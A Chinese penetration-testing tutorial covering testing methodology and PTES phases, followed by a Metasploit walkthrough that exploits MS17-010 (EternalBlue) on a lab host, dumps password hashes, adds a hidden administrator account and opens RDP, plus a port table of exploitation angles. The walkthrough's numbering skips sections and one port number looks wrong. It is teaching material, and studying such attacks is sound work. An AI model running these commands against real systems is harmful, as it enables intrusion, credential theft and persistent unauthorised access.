第一节 渗透测试-概述1.1 渗透测试定义
渗透测试是对用户信息安全措施积极评估的过程。通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如涉及缺陷和技术缺陷。渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析。渗透测试的意义:站在第三者的角度来思考企业系统的安全性。渗透测试通常具有两个显著特点:
渗透测试是一个渐进的且逐步深入的过程
渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试
1.2 渗透测试分类1.2.1 渗透测试方法分类1.2.1.1 黑盒测试
黑盒测试:也可叫功能测试,是一种从用户角度出发的测试。把被测程序当作一个黑盒子,测试人员完全不用考虑盒子里面的逻辑结构和具体运作,只依据程序的需求规格说明书,检查程序的功能是否符合它的功能说明。主要的测试方法有等价划分类,错误推测法等。通过软件的外部表现来发现其缺陷和错误。黑盒测试发把黑盒测试看成一个黑盒子,完全不考虑程序内部结构和处理过程。黑盒测试是在程序界面进行测试,它只是检查样序是否按照需求规格说明书的规定正常实现。
1.2.1.2 白盒测试
白盒测试也称为结构测试。它根据程序的控制结构设计测试用例,测试人员会利用程序内部的逻辑结构及有关信息,通过在不同点检查程序状态,检验程序中的每条通路是否都能按预定要求进行正确工作。通过对程序内部结构的分析、检测来寻找问题。白盒测试可以把程序看成装在一个透明的白盒子里,也就是清楚了解程序结构和处理过程,检查是否所有的结构及路径都是正确的,检查软件内部动作是否按照设计说明的规定正常进行。
1.2.1.3 灰盒测试
灰盒测试:是介于白盒测试与黑盒测试之间的一种测试,灰盒测试多用于集成测试阶段,不仅关注输出、输入的正确性,同时也关注程序内部的情况。灰盒测试不像白盒那样详细、完整,但又比黑盒测试更关注程序的内部逻辑。介于白盒测试与黑盒测试之间的测试。灰盒测试关注输出对于输入的准确性,同时也关注内部表现,但这种关注不想白盒测试那样详细、完整,只是通过一些表征性的现象、事件、标志来判断内部的运行状态。灰盒测试结合了白盒测试和黑盒测试的要素。它考虑了用户端、特定的系统知识和操作环境。它在系统组件的协同性环境中评价应用软件的设计。
1.2.1.4 三者的区别
从测试目标和依据来说:黑盒面对的是产品设计,白盒针对的是程序功能的实现,灰盒针对兼而有之,既要考虑产品设计要求,又考虑到功能实现的效果从实现者而言:黑盒在意的是客户的角度,白盒测试针对的研发人员。从测试模块颗粒度而言:白盒在意的是代码实现层面,而灰盒更加侧重模块之间,而黑盒更在于用户层面。
1.2.2 渗透目标分类
主机操作系统测试:对Windows,Solaris,AIX,Linux,SCO,SGI等操作系统本身进行渗透测试。
数据库系统渗透:对MS-SQL,Oracle,MySQL,informix,Sybase,DB2,access等数据库应用系统进行渗透测试。
应用系统测试:对渗透目标提供的各种应用,如ASP,CGI,JSP,PHP等组成的WWW应用进行渗透测试。
网络设备渗透:各种防火墙,入侵检测系统,路由器,交换机等网络设备进行渗透测试。
1.2.3 渗透测试的位置分类
- 内网渗透:模拟客户内部违规操作者的行为,在内网对目标进行渗透测试
- 外网渗透:模拟对内部状态一无所知的攻击者的行为(包括对网络设备的远程攻击,口令管理安全测试,防火墙规则试探和规避,web及其他开放应用服务的安全测试等),从外网对目标进行渗透测试。
1.3 渗透测试环节
渗透测试环节:PTES
- 前期交互阶段(Pre-Engagement Interaction)
- 范围(需求)
- 目标
- 限制条件
- 服务合同细节
- 情报搜集阶段(Information Gathering)
- 公开来源信息查询
- Hacking
- 社会工程学
- 网络踩点
- 扫描探测
- 被动监听
- 服务查点
- 威胁建模阶段(Threat Modeling)
- 规划攻击
- 资产分析
- 威胁分析
- 漏洞分析阶段(Vulnerability Analysis)
- 渗透攻击阶段(Exploitation)
- 后渗透攻击阶段(Post Exploitation)(清除痕迹)
- 报告阶段(Reporting)
- 分析薄弱环节
- 存在的问题
- 修补与升级技术
第二节 工具介绍2.1 kali
- 查询ms17-010
msf6 #>search ms17-010 #查询ms17-010漏洞
- 检查靶机是否存在ms17-010漏洞
msf6 #>use 3 #使用检测代码msf6 auxiliary(scanner/smb/smb_ms17_010) #>show options #查看设置项msf6 auxiliary(scanner/smb/smb_ms17_010) #>set rhost 192.168.2.233 #设置检查的目标ipmsf6 auxiliary(scanner/smb/smb_ms17_010) #>run #查询
3.3.3 攻击靶机
- 启用攻击代码
msf6 auxiliary(scanner/smb/smb_ms17_010) #>use 0msf6 exploit(windows/smb/ms17_010_eternalblue) #>show options # 查看设置项msf6 exploit(windows/smb/ms17_010_eternalblue) #>set rhost 192.168.2.233 #设置攻击IP,如果lhost未设置需要再单独设置一次
- 开始攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) #>run #攻击
meterpreter相关操作
meterpreter #> getuid #查看当前运行的权限meterpreter #>screenshot #截取目标屏幕meterpreter #>upload 截屏图片地址 C:\\ 把图片上传到目标C盘meterpreter #>download C:\img.jpg /root/ #从目标机器下载文件meterpreter #>hashdump #查看用户信息
meterpreter #>shellmeterpreter #>chcp 65001CMD #>net user #查看当前用户信息CMD #>net user test 123456 /add #增加test用户(密码123456)CMD #>net localgroup administrators test /add #设置用户为管理员用户CMD #>exitmeterpreter #>hashdump
CMD #>rdesktop ip #启动远程连接
附件附件1 常见端口附件1.1 文件共享服务
端口 | 服务 | 说明 |
---|---|---|
20/21 | FTP/TFTP | 文件传输协议,利用方向:允许匿名上传、下载、暴力破解和嗅探 |
2049 | NFS | 利用方向:配置不当 |
139 | Samba | 利用方向:暴力破解、未授权访问、远程代码执行 |
389 | LDAP目录访问协议 | 利用方向:注入、允许匿名访问、弱口令 |
445 | windows共享 | windows下一个共享文件夹和打印机端口 |
附件1.2 远程连接服务
端口 | 服务 | 说明 |
---|---|---|
22 | SSH | 利用方向:暴力破解、SSH隧道及内网代理转发、文件传输 |
23 | Telnet | 利用方向:暴力破解、嗅探、弱口令 |
3389 | RDP | 远程桌面,利用方向:Shift后门(windows server 2003以下版本) |
5900 | VNC | 利用方向:弱口令 |
附件1.3 WEB应用服务端口
端口 | 服务 | 说明 |
---|---|---|
80/443/8080 | 常见web服务 | 利用方向:web攻击、暴力破解、对应用服务版本攻击 |
7001 | weblogic控制台 | 利用方向:java反序列化、弱口令 |
8080/8089 | jboss/Jenkins | 利用方向:反序列化、控制台弱口令 |
9090 | websphere控制台/prometheus监控 | 利用方向:反序列化、控制台弱口令 |
300 | grafana | 利用方向:反序列化、控制台弱口令 |
普法宣传人人有责。国家法律法规数据库-中华人民共和国网络安全法
一花一世界,一木一浮生,一草一天堂,一叶一如来,一砂一极乐,一方一净土,一笑一尘缘,一念一清静